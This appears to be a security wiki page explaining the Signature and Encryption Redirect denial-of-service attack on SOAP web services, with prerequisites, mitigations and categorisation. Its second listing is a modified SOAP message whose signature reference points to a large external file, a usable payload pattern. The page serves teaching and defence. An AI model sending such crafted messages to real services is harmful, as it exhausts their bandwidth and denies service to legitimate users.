Latest revision as of 11:26, 31 October 2015

Attack description

When using XML Signature or XML Encryption in a SOAP message, the user is given a great amount of flexibility of what data is signed or encrypted. It is even possible to sign or encrypt data outside of the original SOAP message. This property can be used to mount a denial of service attack. The attack is explained in the following by using the example "encryption"; however it works the same way with signatures in SOAP messages:

When using encryption in a SOAP message the SOAP security Header contains a reference to the part of the message that is encrypted. This reference can point to an internal structure within the same SOAP message or to an external document outside the original SOAP message. When the reference points to an external resource the receiving web service has to retrieve the entire file that the reference points to. A malicious web service consumer could use this characteristic to mount an attack. Lets assume that the reference points to a 1 GB file outside of the attacked web service. In order to process the request, the web service has to retrieve the entire file before being able to continue processing the request. In the worst case scenario this process could take up the entire bandwidth of the web service and make it unavailable during the time of retrieval.

Attack subtypes

There are two attack subtypes that use the same attack concept.

1. Signature Redirect - In the Signature Redirect attack the attacker maliciously modifies the reference to the signed element as described above.
2. Encryption Redirect - In the Encryption Redirect attack the attacker maliciously modifies the reference to the encrypted element as described above.

Prerequisites for attack

In order for this attack to work the attack has to have knowledge about the following things:

1. Attacker knows endpoint of web service. otherwise he is not able to reach the web service.
2. Attacker knows that the web service processes the security header and the "encryption" element and/or "signature" element. If the web service doens't "expect" an encrypted part, it just discards the encryption and the attack doesn't work.
3. Attacker can reach endpoint from its location. Access to the attacked web service is required. If the web service is only available to users within a certain network of a company the attack is limited.

Graphical representation of attack

Red = attacked web service component
Black = location of attacker
Blue = web service component not directly involved in attack.

Attack example

We will only use an example of a SOAP message with a signature in the security header. The presentation of an example for an encryption example is omitted since it doesn't show any new findings.

Listing 1 shows a non malicious SOAP message with a signature in the security header [1]

<SOAP-ENV:Envelope
  xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
  <SOAP-ENV:Header>
    <SOAP-SEC:Signature
      xmlns:SOAP-SEC="http://schemas.xmlsoap.org/soap/security/2000-12"
      SOAP-ENV:actor="some-URI"
      SOAP-ENV:mustUnderstand="1">
      <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
        <ds:SignedInfo>
          <ds:CanonicalizationMethod   
            Algorithm="http://www.w3.org/TR/2000/CR-xml-c14n-20001026">
          </ds:CanonicalizationMethod>
          <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#dsa-sha1"/>
          <ds:Reference URI="#Body">
            <ds:Transforms>
              <ds:Transform Algorithm="http://www.w3.org/TR/2000/CR-xml-c14n-20001026"/>
            </ds:Transforms>
            <ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
            <ds:DigestValue>j6lwx3rvEPO0vKtMup4NbeVu8nk=</ds:DigestValue>
          </ds:Reference>
        </ds:SignedInfo>
        <ds:SignatureValue>MC0CFFrVLtRlk=...</ds:SignatureValue>
      </ds:Signature>
    </SOAP-SEC:Signature>
  </SOAP-ENV:Header>
  <SOAP-ENV:Body 
    xmlns:SOAP-SEC="http://schemas.xmlsoap.org/soap/security/2000-12"
    SOAP-SEC:id="Body">
    <m:GetLastTradePrice xmlns:m="some-URI">
      <m:symbol>IBM</m:symbol>
    </m:GetLastTradePrice>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Listing 1: SOAP message with a non malicious signature

When an malicious attacker takes the message and modifies the element <ds:Reference URI="#Body"> to an external resource, as shown in listing 2, a denial of service attack is possible.

<SOAP-ENV:Envelope
  xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
  <SOAP-ENV:Header>
    <SOAP-SEC:Signature
      xmlns:SOAP-SEC="http://schemas.xmlsoap.org/soap/security/2000-12"
      SOAP-ENV:actor="some-URI"
      SOAP-ENV:mustUnderstand="1">
      <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
        <ds:SignedInfo>
          <ds:CanonicalizationMethod   
            Algorithm="http://www.w3.org/TR/2000/CR-xml-c14n-20001026">
          </ds:CanonicalizationMethod>
          <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#dsa-sha1"/>
          <ds:Reference URI="http://example.com/VERYBIGFILE.DAT">
            <ds:Transforms>
              <ds:Transform Algorithm="http://www.w3.org/TR/2000/CR-xml-c14n-20001026"/>
            </ds:Transforms>
            <ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
            <ds:DigestValue>j6lwx3rvEPO0vKtMup4NbeVu8nk=</ds:DigestValue>
          </ds:Reference>
        </ds:SignedInfo>
        <ds:SignatureValue>MC0CFFrVLtRlk=...</ds:SignatureValue>
      </ds:Signature>
    </SOAP-SEC:Signature>
  </SOAP-ENV:Header>
  <SOAP-ENV:Body 
    xmlns:SOAP-SEC="http://schemas.xmlsoap.org/soap/security/2000-12"
    SOAP-SEC:id="Body">
    <m:GetLastTradePrice xmlns:m="some-URI">
      <m:symbol>IBM</m:symbol>
    </m:GetLastTradePrice>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Listing 2: SOAP message with a malicious signature

Attack mitigation / countermeasures

This attack can easily prevented by prohibiting references to resources outside of the current document. However when references to outside resources are needed it isn't as easy to find the right countermeasures. A white list of all allowed references is one solution.

Attack categorisation

Categorisation by violated security objective

The attack aims at exhausting the system resources, therefore it violates the security objective Availability.

• Category:Attack_Categorisation_By_Violated_Security_Objective_Availability
• Category:Attack_Categorisation_By_Violated_Security_Objective

Categorisation by number of involved parties

• Category:Attack_Categorisation_By_Number_Of_Involved_Parties:1_-_0_-_1
• Category:Attack_Categorisation_By_Number_Of_Involved_Parties

Categorisation by attacked component in web service architecture

• Category:Attack_Categorisation_By_Attacked_Web_Service_Component:_XML_Parser
• Category:Attack_Categorisation_By_Attacked_Web_Service_Component

Categorisation by attack spreading

• Category:Attack_Categorisation_By_Attack_Spreading
• Category:Attack_Categorisation_By_Attack_Spreading:Conceptual_Flaws

References

1. Leroy Metin Yaylacioglu. Business value einer web service firewall. Master’s thesis, Hochschule für Angewandte Wissenschaften Hamburg, 2008.